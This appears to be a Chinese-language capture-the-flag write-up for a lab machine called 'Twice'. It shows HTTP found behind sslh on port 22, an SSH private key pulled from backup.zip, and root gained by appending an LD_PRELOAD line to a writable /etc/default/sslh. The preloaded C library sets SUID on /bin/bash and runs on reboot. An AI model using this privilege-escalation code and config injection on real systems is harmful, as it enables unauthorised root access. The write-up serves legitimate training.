

Twice

靶机: Twice

作者: 11104567

靶机ID:621

靶机ip为192.168.56.118, 后来改错配置重开一个为
192.168.56.119

漏洞遍历

只扫描出22端口, 有点懵, udp也没扫出东西

最后想到是不是端口复用, curl了一下, 发现真有东西!

```
C:\Users\Aaron>curl http://192.168.56.118:22/  
Congratulations
```

```

[23:35:09] Starting:
[23:35:10] 403 - 279B - /.ht_wsr.txt
[23:35:10] 403 - 279B - /.htaccess.bak1
[23:35:10] 403 - 279B - /.htaccess.orig
[23:35:10] 403 - 279B - /.htaccess.sample
[23:35:10] 403 - 279B - /.htaccess.save
[23:35:10] 403 - 279B - /.htaccess_orig
[23:35:10] 403 - 279B - /.htaccess_sc
[23:35:10] 403 - 279B - /.htaccess_extra
[23:35:10] 403 - 279B - /.htaccessBAK
[23:35:10] 403 - 279B - /.htaccessOLD2
[23:35:10] 403 - 279B - /.htaccessOLD
[23:35:10] 403 - 279B - /.htm
[23:35:10] 403 - 279B - /.html
[23:35:10] 403 - 279B - /.httr-oauth
[23:35:10] 403 - 279B - /.htpasswd_test
[23:35:10] 403 - 279B - /.htpasswd
[23:35:10] 403 - 279B - /.php
[23:35:17] 200 - 391B - /backup.zip
[23:35:29] 200 - 2KB - /server-status
[23:35:29] 200 - 2KB - /server-status/

```

扫描找到backup.zip

```

C:\Users\Aaron>curl http://192.168.56.118:22/backup.zip --output D:/1.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left   Speed
100    391  100    391    0      0  13207      0      0     0      0      0     0

```



下载后发现私钥，上传攻击机
修改权限

修改权限

```
chmod ./id_ed25519
```

生成公钥 查看用户名

```
ssh-keygen -y -f id_ed25519
```

ssh私钥登录

```
ssh cyl-love@192.168.56.118 -i id_ed25519
```

```

(root@kali)-[~/111]
# chmod 600 ./id_ed25519

(root@kali)-[~/111]
# ssh-keygen -y -f id_ed25519
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA6Pbnvb+0It8d5Pr1keuyGUr0LEu09PtXEI4PuSHsTx
cyl-love@Twice

(root@kali)-[~/111]
# ssh cyl-love@192.168.56.118 -i id_ed25519
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux Twice 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cyl-love@Twice:~$ id
uid=1000(cyl-love) gid=1000(cyl-love) groups=1000(cyl-love)
cyl-love@Twice:~$ ls
user.txt
cyl-love@Twice:~$ cat user.txt
flag{user-011810bbcc7a187174fc4ae0fdddf8a}
cyl-love@Twice:~$ |

```

root提权

sudo -l发现存在无密码执行命令

```

-bash-5.0$ sudo -l
Matching Defaults entries for cyl-love on Twice:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cyl-love may run the following commands on Twice:
    (ALL) NOPASSWD: /usr/sbin/reboot
-bash-5.0$

```

reboot用于重启，先确认重启方式

```

-bash-5.0$ ps -p 1 -o comm=
systemd

```

说明是 systemd 系统

ps aux可以看到是sslh启动的端口复用

```
root      406  0.0  1.6 253820 34628 ?        Ss   01:09   0:00 /usr/sbin/apache2 -k start
root      421  0.0  0.1   7288  2504 ?        S    01:11   0:00 /usr/sbin/sslh --foreground --user root --listen 0.0.0.0 22 --ssh 127.0.0.1 2222 --http 127.0.0.1 80 -
-pidfile /var/run/sslh/sslh.pid
root      422  0.0  0.4   14320  8500 ?        Ss   01:11   0:00 sshd: cyl-love [priv]
root      406  0.0  1.6 253820 34628 ?        Ss   01:09   0:00 /usr/sbin/apache2 -k start
root      421  0.0  0.1   7288  2504 ?        S    01:11   0:00 /usr/sbin/sslh --foreground --user root --listen 0.0.0.0 22 --ssh 127.0.0.1 2222 --http 127.0.0.1 80 -
-pidfile /var/run/sslh/sslh.pid
root      422  0.0  0.4   14320  8500 ?        Ss   01:11   0:00 sshd: cyl-love [priv]
```

然后查看自启动的sslh服务

```
-bash-5.0$ systemctl cat sslh.service
# /lib/systemd/system/sslh.service
[Unit]
Description=SSL/SSH multiplexer
After=network.target
Documentation=man:sslh(8)

[Service]
EnvironmentFile=/etc/default/sslh
ExecStart=/usr/sbin/sslh --foreground $DAEMON_OPTS
KillMode=process

[Install]
WantedBy=multi-user.target
```

能看到里面使用配置文件 EnvironmentFile=/etc/default/sslh
而这个文件是cyl-love可以修改的

因此可以进行利用，保留原有配置，追加 LD_PRELOAD 变量
注意不要把文件创建在/tmp里，不然重启会自动清除

```
cat > /tmp/sslh_preload.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
```

```
// 当库被加载时自动执行此函数
__attribute__((constructor)) void run_on_load() {
    // 给 bash 添加 SUID 位
    chmod("/bin/bash", 04755);

    // 可选：清除 LD_PRELOAD 环境变量，避免影响后续进程
    unsetenv("LD_PRELOAD");
}
EOF
```

编译生成共享库

```
gcc -shared -fPIC /tmp/sslh_preload.c -o /home/cyl-love/x.so
```

```
cat > /etc/default/sslh << 'EOF'
# Default options for sslh initscript
# sourced by /etc/init.d/sslh

# binary to use: forked (sslh) or single-thread (sslh-select)
version
# systemd users: don't forget to modify
/lib/systemd/system/sslh.service
DAEMON=/usr/sbin/sslh

DAEMON_OPTS="--user root --listen 0.0.0.0:22 --ssh
127.0.0.1:2222 --http 127.0.0.1:80 --pidfile
/var/run/sslh/sslh.pid"

# 关键：注入恶意共享库
LD_PRELOAD=/home/cyl-love/x.so
EOF
```

然后重启即可

```
bash-5.0# id
uid=1000(cyl-love) gid=1000(cyl-love) euid=0(root) groups=1000(cyl-love)
bash-5.0# cat /root/root.txt
flag{root-38ccdff8dfaef4775b871b1d04450c32}
bash-5.0# |
```